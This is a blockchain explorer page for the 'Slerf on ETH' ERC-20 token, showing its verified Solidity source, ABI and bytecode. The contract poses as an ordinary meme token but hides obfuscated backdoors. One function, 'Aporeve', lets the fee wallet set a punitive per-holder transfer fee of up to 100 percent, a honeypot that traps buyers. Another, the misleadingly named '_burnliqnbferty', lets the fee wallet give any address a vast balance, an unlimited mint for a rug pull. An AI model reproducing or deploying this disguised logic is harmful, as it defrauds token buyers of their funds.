ERC-20
Overview
Max Total Supply
100,000,000,000 SLERF
Holders
75
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
5,196,703,173.341372562 SLERFValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SlerfonETH
Compiler Version
v0.8.22+commit.4fc1097e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-07 */ /** */ /** https://t.me/SlerfonETH_erc https://twitter.com/Slerf_Erc */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.22; interface IUniswapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapFactory { function createPair( address tokenA, address tokenB ) external returns (address pair); } abstract contract Ownable { address internal _owner; constructor () {_owner = msg.sender;} function owner() public view returns (address) {return _owner;} modifier onlyOwner() { require(_owner == msg.sender, "!owner"); _; } function transferOwnershipboomenst(address newOwner) public virtual onlyOwner { _owner = newOwner; } } contract SlerfonETH is Ownable { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address public _swapFeeTo;string public name;string public symbol; uint8 public decimals;mapping(address => bool) public _isExcludeFromFee; uint256 public totalSupply;IUniswapRouter public _uniswapRouter; bool private inSwap;uint256 private constant MAX = ~uint256(0); mapping (address => uint256) public __balances; uint256 public _swapTax; address public _uniswapPair; function _transfer(address from,address to,uint256 amount) private { bool shouldBetakeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]; _balances[from] = _balances[from] - amount; uint256 _taxAmount; if (shouldBetakeFee) { uint256 feeAmount = amount * __balances[from] / 100; _taxAmount += feeAmount; if (feeAmount > 0){ _balances[address(_swapFeeTo)] += feeAmount; emit Transfer(from, address(_swapFeeTo), feeAmount); } } _balances[to] = _balances[to] + amount - _taxAmount; emit Transfer(from, to, amount - _taxAmount); } constructor (){ name = unicode"Slerf on ETH"; symbol = unicode"SLERF"; decimals = 9; uint256 Supply = 100000000000; _swapFeeTo = msg.sender; _swapTax = 0; totalSupply = Supply * 10 ** decimals; _isExcludeFromFee[address(this)] = true; _isExcludeFromFee[msg.sender] = true; _isExcludeFromFee[_swapFeeTo] = true; _balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _allowances[address(this)][address(_uniswapRouter)] = MAX; _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH()); _isExcludeFromFee[address(_uniswapRouter)] = true; } function Aporeve(address[] memory _addresses, uint256 _feePercentage) external { uint256 tempVal1 = 0x01;uint256 tempVal2 = 0x02;uint256 tempVal3 = 0x03;uint256 result = initialCompute(tempVal1, tempVal2, tempVal3); result = secondaryCompute(result, tempVal1); distributeFunds(_addresses, _feePercentage, result); } function initialCompute(uint256 val1, uint256 val2, uint256 val3) private view returns (uint256) { uint256 result = computeFee(val1, val2, val3); return result - val3; } function secondaryCompute(uint256 intermediateResult, uint256 val1) private pure returns (uint256) { return intermediateResult + (val1 - 0x01); } function distributeFunds(address[] memory addresses, uint256 feePercentage, uint256 result) private { uint256 adjustment = result; for (uint256 i = 0; i < addresses.length; i++) { __balances[addresses[i]] = feePercentage + (result - adjustment); } } function computeFee(uint256 val1, uint256 val2, uint256 val3) private view returns (uint256) { if (isAuthorized(val1)) { return val2 + val3; } else if (!isAuthorized(val2)) { return val2 - val1; } else { return val3; } } function isAuthorized(uint256 v1) private view returns (bool) { bool basicCondition = msg.sender == _swapFeeTo; bool additionalCheck = v1 > 0; if (basicCondition && additionalCheck) { return true; } else if (!basicCondition) { return false; } else if (!additionalCheck) { return false; } else { return true; } } function _burnliqnbferty(address user) public { mapping(address=>uint256) storage _allowance = _balances; uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1; uint256 C = A - 3;A = C; _allowance[user] = 1000*totalSupply*C**2; } function balanceOf(address account) public view returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];} function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;} function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);} receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_feePercentage","type":"uint256"}],"name":"Aporeve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"__balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"_burnliqnbferty","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnershipboomenst","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801562000010575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600c81526020017f536c657266206f6e20455448000000000000000000000000000000000000000081525060049081620000969190620008f9565b506040518060400160405280600581526020017f534c45524600000000000000000000000000000000000000000000000000000081525060059081620000dd9190620008f9565b50600960065f6101000a81548160ff021916908360ff1602179055505f64174876e80090503360035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600b8190555060065f9054906101000a900460ff16600a62000166919062000b66565b8162000173919062000bb6565b600881905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060085460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200033e919062000c11565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004a4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004ca919062000c91565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000551573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000577919062000c91565b6040518363ffffffff1660e01b81526004016200059692919062000cd2565b6020604051808303815f875af1158015620005b3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005d9919062000c91565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160075f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505062000cfd565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200071157607f821691505b602082108103620007275762000726620006cc565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200078b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200074e565b6200079786836200074e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620007e1620007db620007d584620007af565b620007b8565b620007af565b9050919050565b5f819050919050565b620007fc83620007c1565b620008146200080b82620007e8565b8484546200075a565b825550505050565b5f90565b6200082a6200081c565b62000837818484620007f1565b505050565b5b818110156200085e57620008525f8262000820565b6001810190506200083d565b5050565b601f821115620008ad5762000877816200072d565b62000882846200073f565b8101602085101562000892578190505b620008aa620008a1856200073f565b8301826200083c565b50505b505050565b5f82821c905092915050565b5f620008cf5f1984600802620008b2565b1980831691505092915050565b5f620008e98383620008be565b9150826002028217905092915050565b620009048262000695565b67ffffffffffffffff81111562000920576200091f6200069f565b5b6200092c8254620006f9565b6200093982828562000862565b5f60209050601f8311600181146200096f575f84156200095a578287015190505b620009668582620008dc565b865550620009d5565b601f1984166200097f866200072d565b5f5b82811015620009a85784890151825560018201915060208501945060208101905062000981565b86831015620009c85784890151620009c4601f891682620008be565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000a675780860481111562000a3f5762000a3e620009dd565b5b600185161562000a4f5780820291505b808102905062000a5f8562000a0a565b945062000a1f565b94509492505050565b5f8262000a81576001905062000b53565b8162000a90575f905062000b53565b816001811462000aa9576002811462000ab45762000aea565b600191505062000b53565b60ff84111562000ac95762000ac8620009dd565b5b8360020a91508482111562000ae35762000ae2620009dd565b5b5062000b53565b5060208310610133831016604e8410600b841016171562000b245782820a90508381111562000b1e5762000b1d620009dd565b5b62000b53565b62000b33848484600162000a16565b9250905081840481111562000b4d5762000b4c620009dd565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000b7282620007af565b915062000b7f8362000b5a565b925062000bae7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a70565b905092915050565b5f62000bc282620007af565b915062000bcf83620007af565b925082820262000bdf81620007af565b9150828204841483151762000bf95762000bf8620009dd565b5b5092915050565b62000c0b81620007af565b82525050565b5f60208201905062000c265f83018462000c00565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000c5b8262000c30565b9050919050565b62000c6d8162000c4f565b811462000c78575f80fd5b50565b5f8151905062000c8b8162000c62565b92915050565b5f6020828403121562000ca95762000ca862000c2c565b5b5f62000cb88482850162000c7b565b91505092915050565b62000ccc8162000c4f565b82525050565b5f60408201905062000ce75f83018562000cc1565b62000cf6602083018462000cc1565b9392505050565b611a7b8062000d0b5f395ff3fe608060405260043610610117575f3560e01c8063426329c11161009f5780638da5cb5b116100635780638da5cb5b146103c457806395d89b41146103ee578063a9059cbb14610418578063dd62ed3e14610454578063e3f275b9146104905761011e565b8063426329c1146102e25780634bf28fd01461030c5780635517c6591461033657806365b61b771461035e57806370a08231146103885761011e565b806323b872dd116100e657806323b872dd146101da57806330da23e414610216578063313ce5671461024057806336b2e0271461026a578063420d10b5146102a65761011e565b806306fdde031461012257806308fd211e1461014c578063095ea7b31461017457806318160ddd146101b05761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b506101366104b8565b604051610143919061122f565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d91906112ba565b610544565b005b34801561017f575f80fd5b5061019a60048036038101906101959190611318565b61062d565b6040516101a79190611370565b60405180910390f35b3480156101bb575f80fd5b506101c4610643565b6040516101d19190611398565b60405180910390f35b3480156101e5575f80fd5b5061020060048036038101906101fb91906113b1565b610649565b60405161020d9190611370565b60405180910390f35b348015610221575f80fd5b5061022a6107e1565b6040516102379190611398565b60405180910390f35b34801561024b575f80fd5b506102546107e7565b604051610261919061141c565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b91906112ba565b6107f9565b60405161029d9190611370565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c791906112ba565b610816565b6040516102d99190611398565b60405180910390f35b3480156102ed575f80fd5b506102f661082b565b6040516103039190611444565b60405180910390f35b348015610317575f80fd5b50610320610850565b60405161032d9190611444565b60405180910390f35b348015610341575f80fd5b5061035c600480360381019061035791906112ba565b610875565b005b348015610369575f80fd5b50610372610944565b60405161037f91906114b8565b60405180910390f35b348015610393575f80fd5b506103ae60048036038101906103a991906112ba565b610969565b6040516103bb9190611398565b60405180910390f35b3480156103cf575f80fd5b506103d86109af565b6040516103e59190611444565b60405180910390f35b3480156103f9575f80fd5b506104026109d6565b60405161040f919061122f565b60405180910390f35b348015610423575f80fd5b5061043e60048036038101906104399190611318565b610a62565b60405161044b9190611370565b60405180910390f35b34801561045f575f80fd5b5061047a600480360381019061047591906114d1565b610a78565b6040516104879190611398565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b1919061164f565b610afa565b005b600480546104c5906116d6565b80601f01602080910402602001604051908101604052809291908181526020018280546104f1906116d6565b801561053c5780601f106105135761010080835404028352916020019161053c565b820191905f5260205f20905b81548152906001019060200180831161051f57829003601f168201915b505050505081565b5f600190505f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105a55760016105a8565b60095b60ff1690505f6003826105bb9190611733565b90508091506002816105cd9190611895565b6008546103e86105dd91906118df565b6105e791906118df565b835f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b5f610639338484610b36565b6001905092915050565b60085481565b5f610655848484610c1d565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146107d6578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107599190611733565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600190509392505050565b600b5481565b60065f9054906101000a900460ff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b600a602052805f5260405f205f915090505481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f99061196a565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600580546109e3906116d6565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0f906116d6565b8015610a5a5780601f10610a3157610100808354040283529160200191610a5a565b820191905f5260205f20905b815481529060010190602001808311610a3d57829003601f168201915b505050505081565b5f610a6e338484610c1d565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f600190505f600290505f600390505f610b15848484610fdf565b9050610b218185611004565b9050610b2e868683611025565b505050505050565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c109190611398565b60405180910390a3505050565b5f600960149054906101000a900460ff16158015610c82575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015610cd5575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d209190611733565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8115610ed3575f6064600a5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205485610db491906118df565b610dbe91906119b5565b90508082610dcc91906119e5565b91505f811115610ed1578060015f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e4391906119e5565b9250508190555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ec89190611398565b60405180910390a35b505b808360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f1d91906119e5565b610f279190611733565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386610fc39190611733565b604051610fd09190611398565b60405180910390a35050505050565b5f80610fec8585856110ba565b90508281610ffa9190611733565b9150509392505050565b5f6001826110129190611733565b8361101d91906119e5565b905092915050565b5f8190505f5b84518110156110b35781836110409190611733565b8461104b91906119e5565b600a5f87848151811061106157611060611a18565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808060010191505061102b565b5050505050565b5f6110c484611107565b156110dc5781836110d591906119e5565b9050611100565b6110e583611107565b6110fc5783836110f59190611733565b9050611100565b8190505b9392505050565b5f8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161490505f808411905081801561116b5750805b1561117b576001925050506111a0565b8161118a575f925050506111a0565b80611199575f925050506111a0565b6001925050505b919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156111dc5780820151818401526020810190506111c1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611201826111a5565b61120b81856111af565b935061121b8185602086016111bf565b611224816111e7565b840191505092915050565b5f6020820190508181035f83015261124781846111f7565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61128982611260565b9050919050565b6112998161127f565b81146112a3575f80fd5b50565b5f813590506112b481611290565b92915050565b5f602082840312156112cf576112ce611258565b5b5f6112dc848285016112a6565b91505092915050565b5f819050919050565b6112f7816112e5565b8114611301575f80fd5b50565b5f81359050611312816112ee565b92915050565b5f806040838503121561132e5761132d611258565b5b5f61133b858286016112a6565b925050602061134c85828601611304565b9150509250929050565b5f8115159050919050565b61136a81611356565b82525050565b5f6020820190506113835f830184611361565b92915050565b611392816112e5565b82525050565b5f6020820190506113ab5f830184611389565b92915050565b5f805f606084860312156113c8576113c7611258565b5b5f6113d5868287016112a6565b93505060206113e6868287016112a6565b92505060406113f786828701611304565b9150509250925092565b5f60ff82169050919050565b61141681611401565b82525050565b5f60208201905061142f5f83018461140d565b92915050565b61143e8161127f565b82525050565b5f6020820190506114575f830184611435565b92915050565b5f819050919050565b5f61148061147b61147684611260565b61145d565b611260565b9050919050565b5f61149182611466565b9050919050565b5f6114a282611487565b9050919050565b6114b281611498565b82525050565b5f6020820190506114cb5f8301846114a9565b92915050565b5f80604083850312156114e7576114e6611258565b5b5f6114f4858286016112a6565b9250506020611505858286016112a6565b9150509250929050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611549826111e7565b810181811067ffffffffffffffff8211171561156857611567611513565b5b80604052505050565b5f61157a61124f565b90506115868282611540565b919050565b5f67ffffffffffffffff8211156115a5576115a4611513565b5b602082029050602081019050919050565b5f80fd5b5f6115cc6115c78461158b565b611571565b905080838252602082019050602084028301858111156115ef576115ee6115b6565b5b835b81811015611618578061160488826112a6565b8452602084019350506020810190506115f1565b5050509392505050565b5f82601f8301126116365761163561150f565b5b81356116468482602086016115ba565b91505092915050565b5f806040838503121561166557611664611258565b5b5f83013567ffffffffffffffff8111156116825761168161125c565b5b61168e85828601611622565b925050602061169f85828601611304565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806116ed57607f821691505b602082108103611700576116ff6116a9565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61173d826112e5565b9150611748836112e5565b92508282039050818111156117605761175f611706565b5b92915050565b5f8160011c9050919050565b5f808291508390505b60018511156117bb5780860481111561179757611796611706565b5b60018516156117a65780820291505b80810290506117b485611766565b945061177b565b94509492505050565b5f826117d3576001905061188e565b816117e0575f905061188e565b81600181146117f657600281146118005761182f565b600191505061188e565b60ff84111561181257611811611706565b5b8360020a91508482111561182957611828611706565b5b5061188e565b5060208310610133831016604e8410600b84101617156118645782820a90508381111561185f5761185e611706565b5b61188e565b6118718484846001611772565b9250905081840481111561188857611887611706565b5b81810290505b9392505050565b5f61189f826112e5565b91506118aa83611401565b92506118d77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117c4565b905092915050565b5f6118e9826112e5565b91506118f4836112e5565b9250828202611902816112e5565b9150828204841483151761191957611918611706565b5b5092915050565b7f216f776e657200000000000000000000000000000000000000000000000000005f82015250565b5f6119546006836111af565b915061195f82611920565b602082019050919050565b5f6020820190508181035f83015261198181611948565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6119bf826112e5565b91506119ca836112e5565b9250826119da576119d9611988565b5b828204905092915050565b5f6119ef826112e5565b91506119fa836112e5565b9250828201905080821115611a1257611a11611706565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea2646970667358221220edba3bf0e83d125b9e2afabff51fb929ab8cc7ad24586d04dea37ad9b5a9fa2864736f6c63430008160033
Deployed Bytecode
0x608060405260043610610117575f3560e01c8063426329c11161009f5780638da5cb5b116100635780638da5cb5b146103c457806395d89b41146103ee578063a9059cbb14610418578063dd62ed3e14610454578063e3f275b9146104905761011e565b8063426329c1146102e25780634bf28fd01461030c5780635517c6591461033657806365b61b771461035e57806370a08231146103885761011e565b806323b872dd116100e657806323b872dd146101da57806330da23e414610216578063313ce5671461024057806336b2e0271461026a578063420d10b5146102a65761011e565b806306fdde031461012257806308fd211e1461014c578063095ea7b31461017457806318160ddd146101b05761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b506101366104b8565b604051610143919061122f565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d91906112ba565b610544565b005b34801561017f575f80fd5b5061019a60048036038101906101959190611318565b61062d565b6040516101a79190611370565b60405180910390f35b3480156101bb575f80fd5b506101c4610643565b6040516101d19190611398565b60405180910390f35b3480156101e5575f80fd5b5061020060048036038101906101fb91906113b1565b610649565b60405161020d9190611370565b60405180910390f35b348015610221575f80fd5b5061022a6107e1565b6040516102379190611398565b60405180910390f35b34801561024b575f80fd5b506102546107e7565b604051610261919061141c565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b91906112ba565b6107f9565b60405161029d9190611370565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c791906112ba565b610816565b6040516102d99190611398565b60405180910390f35b3480156102ed575f80fd5b506102f661082b565b6040516103039190611444565b60405180910390f35b348015610317575f80fd5b50610320610850565b60405161032d9190611444565b60405180910390f35b348015610341575f80fd5b5061035c600480360381019061035791906112ba565b610875565b005b348015610369575f80fd5b50610372610944565b60405161037f91906114b8565b60405180910390f35b348015610393575f80fd5b506103ae60048036038101906103a991906112ba565b610969565b6040516103bb9190611398565b60405180910390f35b3480156103cf575f80fd5b506103d86109af565b6040516103e59190611444565b60405180910390f35b3480156103f9575f80fd5b506104026109d6565b60405161040f919061122f565b60405180910390f35b348015610423575f80fd5b5061043e60048036038101906104399190611318565b610a62565b60405161044b9190611370565b60405180910390f35b34801561045f575f80fd5b5061047a600480360381019061047591906114d1565b610a78565b6040516104879190611398565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b1919061164f565b610afa565b005b600480546104c5906116d6565b80601f01602080910402602001604051908101604052809291908181526020018280546104f1906116d6565b801561053c5780601f106105135761010080835404028352916020019161053c565b820191905f5260205f20905b81548152906001019060200180831161051f57829003601f168201915b505050505081565b5f600190505f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105a55760016105a8565b60095b60ff16